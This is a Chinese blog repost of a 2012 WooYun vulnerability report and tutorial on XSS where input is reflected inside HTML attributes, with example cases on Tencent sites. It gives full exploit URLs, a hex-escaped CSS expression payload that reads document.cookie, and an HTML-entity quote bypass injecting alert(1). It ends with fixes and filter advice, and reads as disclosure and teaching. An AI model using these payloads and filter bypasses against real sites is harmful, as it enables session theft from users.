最新消息:

[腾讯实例教程] 那些年我们一起学XSS – 3. 输出在HTML属性里的情况

xss admin 2348浏览 0评论

漏洞作者: 心伤的瘦子

提交时间: 2012-12-13 16:00

公开时间: 2013-01-27 16:00

漏洞类型: xss跨站脚本攻击

危害等级: 低

 

简要描述:

和前面的不一样的时,有时候,输出会出现在HTML标签的属性之中。
例如: <input value=”输出”> 、 <img onload=”…[输出]…”> ,再比如 <body style=”…[输出]…”> .. 这个时候怎么办呢?

详细说明:

1. 大网站一般不是吃素的。前面讲到的基本情况,一般都很少遇到了。

2. 这个时候我们可以把目光发展一下,找一找在【输出】出现在HTML属性里的情况。

3. 最为典型的一种情况,是下面这样的。

http://xxxx.com/search.php?word=乌云欢迎您

HTML代码里则是下面这样情况的。

.. 关键词:<input type="text" value="乌云欢迎您" />

如果这里的word没过滤双引号。就会有以下的情况发生。

http://xxxx.com/search.php?word=乌云欢迎您” onclick=”alert(1)

对应的源代码如下:

<input type="text" value="乌云欢迎您" onclick="alert(1)" />

那么当用户点击这个文本框时,就会触发 alert(1) 。

4. 当然理想是美好的,现实总是残酷的,我水平有限,并没有在腾讯找到这样的例子。

因为绝大部分这样的情况, 腾讯都会做出相应的过滤。

过滤方法也挺简单,将 ” 过滤为 &quot; 就行。

过滤后的代码如下:

<input type="text" value="乌云欢迎您&quot; onclick=&quot;alert(1)" />

5. 一般来说,上面的情况,过滤了 ” ,可以说是高枕无忧了,但是事实并非如此。某些情况下。我们依然可以继续XSS。下面以腾讯为例。

———————————————————

6. 首先看第一种场景。
http://follow.v.t.qq.com/index.php?c=follow&a=index&appkey=801004516&bg=我是一个兵,爱国爱人民&hsize=80&name=Zhanglifenft,chengyizhong,xiangyang20112007,linchufang,leonardoit,linchufang,qingfengxu6685,zhouzhichen001,yuguoming-ruc,luomingtitan,bjwbgq,kezuozongbianji,weibotalk,lee007,jxzhongweizhi,lihaipengtx
这里的bg参数过滤了【几乎】所有的东西。但是它输出在了 <body style=”[这里]”>

c8ea15ce36d3d539ac9505fb3b87e950352ab059

更重要的是,这里没有过滤 \ 反斜线, 而 css里,允许使用转义字符\ + ascii16进制形式。这样一来,我们就可以构造利用语句啦。

这里过滤了expression, 我们也可以轻松的用expr\65ssion绕过

http://follow.v.t.qq.com/index.php?c=follow&a=index&appkey=801004516&bg=;w:expr\65ssion\28%20eval\28\27\69\66\28\21\77\69\6e\64\6f\77\2e\78\29\7b\61\6c\65\72\74\28\64\6f\63\75\6d\65\6e\74\2e\63\6f\6f\6b\69\65\29\3b\77\69\6e\64\6f\77\2e\78\3d\31\7d\27\29\29&hsize=80&name=Zhanglifenft,chengyizhong,xiangyang20112007,linchufang,leonardoit,linchufang,qingfengxu6685,zhouzhichen001,yuguoming-ruc,luomingtitan,bjwbgq,kezuozongbianji,weibotalk,lee007,jxzhongweizhi,lihaipengtx

效果如下:

472309f7905298228cf833fbd6ca7bcb0a46d43b

这种情况,遗憾之处在于,基于 css expression 的XSS 已经进入暮年了,只有在IE6,7 下方能触发,受众面小。这里只是作为一个案例来讲讲。

Tips: 至于这里的转义是如何写的:步骤如下:

例如 e 的 ascii 16进制是 65, 我们就写为 \65

expression ->  expr\65ssion。

本例缺陷点代码:

<body style="overflow:auto;background-color:#我是一个兵,爱国爱人民;">

———————————————–

7. 再来看下一个在属性里的案例。这个例子也是比较常见的。比如:

<HTML标签 onXXXX=”…[输出在这里]..”> 的例子。

<a href=”javascript:[输出在这里]”>xxxx </a> 的例子。

正好,在腾讯的这个例子中,以上2个情况一起出现了。 我们以其中一种进行讲解。

http://stock.finance.qq.com/report/search.php?searchtype_yjbg=yjjg&searchvalue_yjbg=aaaaaaaaaa

看输出,如下,aaaaaaaa 出现在了2个点。

7af40ad162d9f2d3b1cd2ed7a8ec8a136327cc2e

常规来说,因为 onxxxx=”[输出]” 和 href=”javascript:[输出]” 与 <script>[输出]</script> 没有太大区别。因为[输出]所在的地方,都是javascript脚本。

但是<script>[输出]</script> 如果被过滤,往往没有太好的办法。

而上面这2种情况,则有一个很好的办法绕过过滤。

Tips:

在HTML属性中,会自动对实体字符进行转义。一个简单的比方。
   <img src="1" onerror="alert(1)">
   和
   <img src="1" onerror="alert&#x28;1&#x29;"> 
   是等效的

换言之,只要上面的情况,没有过滤 &,# 等符号,我们就可以写入任意字符。

看看缺陷点的代码

<li><input type="text" id="pagenum"   onkeydown="if ((event.keyCode==13) && (this.value!='')) location.href='http://stock.finance.qq.com/report/search.php?offset='+this.value+'&searchtype_yjbg=yjjg&searchvalue_yjbg=aaaaaaaaaa'"/></li>

JS部分我们可以做以下构造,由于’被过滤,我们可以将’写为 &#x27;

location.href=’……..&searchvalue_yjbg=aaaaaa’

location.href=’……..&searchvalue_yjbg=aaaaaa’+alert(1)+”

location.href=’……..&searchvalue_yjbg=aaaaaa&#x27;+alert(1)+&#x27;’

步骤如下:

20130618212720

接着我们把代码转换为 url 的编码。 &-> %26, # -> %23

最后利用代码如下:

http://stock.finance.qq.com/report/search.php?searchtype_yjbg=yjjg&searchvalue_yjbg=aaaaaaa%26%23x27;%2balert(1)%2b%26%23x27;

用户点击页面[GO]按钮触发。

d1160924ab18972b4b6e75f2e7cd7b899e510ab5

由于缺陷点是发生在 onkeydown 或 a 标签的 href 属性中,无法自动触发,因而使得威胁减小,如果是发生在 img 的 onload 属性,则非常可能导致自动触发。

缺陷页面的 <a href=””> 触发点的代码如下:

<li><div><a href="javascript:location='http://stock.finance.qq.com/report/search.php?offset='+document.getElementById('pagenum').value+'&searchtype_yjbg=yjjg&searchvalue_yjbg=aaaaaaaaaa'">GO</a></div></li>

漏洞证明:

见详情。

修复方案:

1. 对于输出在HTML属性中的情况,需要特殊情况特殊对待,该过滤\的时候,请过滤\, 该过滤&的情况,则过滤掉&

2. 碰到有某些修复的人用正则去判断, &#xNNN.., 而实际上 &#x0NN; &#x00NN, (后面自己慢慢试。。) 都是可以的。 或者是 &#10进制; 以及一些特殊的HTML实体,如 &quot;等,都要注意到,好麻烦, 最好的办法,还是 &过滤为 &amp; :)

 

 

说明:尝试了一下,如果href属性中没有javascript:就不能使用上述方法进行突破(因为如果没有javascript:则属性不是在javascript环境中)。即<a href=”http://www.baidu.com&quot;+onclick=&quot;alert(1)” rel=”nofollow”>hello</a>是没有突破的。只有如下的属性才可突破:<a href=”javascript:location=’http://www.baidu.com &apos;+alert(1)+&apos;'” rel=”nofollow”>hello3</a>。

 

转载请注明:jinglingshu的博客 » [腾讯实例教程] 那些年我们一起学XSS – 3. 输出在HTML属性里的情况

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

网友最新评论 (3)

  1. style=”输出“的突破方式是 css expression,下一个博客讲解。 onxxxx=”[输出]” 和 href=”javascript:[输出]”的突破是先考虑能否闭合来执行xss代码,如果不能闭合,由于输出处可直接执行代码,所以只要使用‘等与前面代码隔开就可以突破,但如果网站将’等字符过滤,可以用实体字符来代替来进行突破。
    admin12年前 (2013-06-19)回复
  2. onxxxx=”[输出]” 和 href=”javascript:[输出]”中可以使用实体字符替代的原因是在HTML属性中,会自动对实体字符进行转义,即在HTML属性中字符是是实体字符和不是实体字符是相等的。 要注意:只有在HTML属性中,会自动对实体字符进行转以。其他地方不适合用此方法进行突破。
    admin12年前 (2013-06-19)回复
  3. admin12年前 (2013-06-19)回复